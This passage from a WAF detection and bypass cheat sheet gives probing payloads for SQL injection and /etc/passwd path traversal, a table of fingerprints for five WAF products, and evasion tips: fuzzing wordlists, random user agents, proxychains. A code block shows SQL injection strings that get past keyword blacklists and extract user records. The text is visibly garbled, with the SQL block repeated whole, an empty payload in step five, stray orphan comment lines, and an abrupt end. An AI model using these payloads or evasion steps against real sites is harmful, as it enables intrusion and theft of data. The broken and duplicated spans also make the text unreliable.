# WAF Detection and Bypass
## Detection Techniques:
To identify WAFs, we need to (dummy) provoke it.
1. Make a normal `GET` request from a browser, intercept and record response headers (specifically cookies).
2. Make a request from command line (eg. cURL), and test response content and headers (no user-agent included).
3. Make `GET` requests to random open ports and grab banners which might expose the WAFs identity.
4. On login pages, inject common (easily detectable) payloads like `" or 1 = 1 --`.
5. Inject noisy payloads like `` into search bars, contact forms and other input fields.
6. Attach a dummy `../../../etc/passwd` to a random parameter at end of URL.
7. Append some catchy keywords like `' OR SLEEP(5) OR '` at end of URLs to any random parameter.
8. Make GET requests with outdated protocols like `HTTP/0.9` (HTTP/0.9 does not support POST type queries).
9. Many a times, the WAF varies the Server header upon different types of interactions.
10. Drop Action Technique - Send a raw crafted `FIN/RST` packet to server and identify response.
> Tip: This method could be easily achieved with tools like [HPing3](http://www.hping.org/) or [Scapy](https://scapy.net/).
11. Side Channel Attacks - Examine the timing behaviour of the request and response content.
> Tip: More details can be found in a [blogpost here](https://0xinfection.github.io/posts/fingerprinting-wafs-side-channel/).
## WAF Fingerprints
| WAF | Fingerprints |
| --- | --- |
| ArvanCloud | • **Detectability:** Moderate • **Detection:** `Server` header contains `ArvanCloud` keyword. |
| ASP.NET Generic | • **Detectability:** Easy • **Detection:** Response headers may contain `X-ASPNET-Version` header value. **Blocked response page content may contain:** •`This generic 403 error means that the authenticated user is not authorized to use the requested resource.` •`Error Code 0x00000000<` keyword. |
| BIG-IP ASM | • **Detectability:** Moderate • **Detection:** Response headers may contain `BigIP` or `F5` keyword value. Response header fields may contain `X-WA-Info` header. Response headers might have jumbled `X-Cnection` field value. |
| Cloudflare | • **Detectability:** Easy • **Detection:** Response headers might have `cf-ray` field value. `Server` header field has value `cloudflare`. `Set-Cookie` response headers have `__cfuid=` cookie field. Page content might have `Attention Required!` or `Cloudflare Ray ID:`. Page content may contain `DDoS protection by Cloudflareas` text. You may encounter `CLOUDFLARE_ERROR_500S_BOX` upon hitting invalid URLs. |
| FortiWeb | • **Detectability:** Moderate • **Detection:** Response headers contain `FORTIWAFSID=` on malicious requests. Response headers contain cookei name `cookiesession1=` **Blocked response page contains:** Reference to `.fgd_icon` image icon. `Server Unavailable!` as heading. `Server unavailable. Please visit later.` as text.|
## Evasion Techniques
### Fuzzing/Bruteforcing:
Running a set of payloads against the URL/endpoint. Some nice fuzzing wordlists:
* Wordlists specifically for fuzzing
* [Seclists/Fuzzing.](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing)
* [Fuzz-DB/Attack](https://github.com/fuzzdb-project/fuzzdb/tree/master/attack)
* [Other Payloads](https://github.com/foospidy/payloads)
**Technique:**
* Load up your wordlist into fuzzer and start the bruteforce.
* Record/log all responses from the different payloads fuzzed.
* Use random user-agents, ranging from Chrome Desktop to iPhone browser.
* If blocking noticed, increase fuzz latency (eg. 2-4 secs).
* Always use proxychains, since chances are real that your IP gets blocked.
### Blacklisting Detection/Bypass
**SQL Injection**
```bash
# Keywords Filtered: and, or, union
Probable Regex: preg_match('/(and|or|union)/i', $id)
Blocked Attempt: union select user, password from users
Bypassed Injection: 1 || (select user from users where user_id = 1) = 'admin'
# Keywords Filtered: and, or, union, where
Blocked Attempt: 1 || (select user from users where user_id = 1) = 'admin'
Bypassed Injection: 1 || (select user from users limit 1) = 'admin'
# Keywords Filtered: and, or, union, where, limit
Blocked Attempt: 1 || (select user from users limit 1) = 'admin'
Bypassed Injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
# Keywords Filtered: and, or, union
Probable Regex: preg_match('/(and|or|union)/i', $id)
Blocked Attempt: union select user, password from users
Bypassed Injection: 1 || (select user from users where user_id = 1) = 'admin'
# Keywords Filtered: and, or, union, where
Blocked Attempt: 1 || (select user from users where user_id = 1) = 'admin'
Bypassed Injection: 1 || (select user from users limit 1) = 'admin'
# Keywords Filtered: and, or, union, where, limit
Blocked Attempt: 1 || (select user from users limit 1) = 'admin'
Bypassed Injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
```
## Obfuscation
**1. Case Toggling**
```bash
# Standard
# Bypassed
# Standard
SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
# Bypassed
sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'
```
**2. URL Encoding**
```bash
# Blocked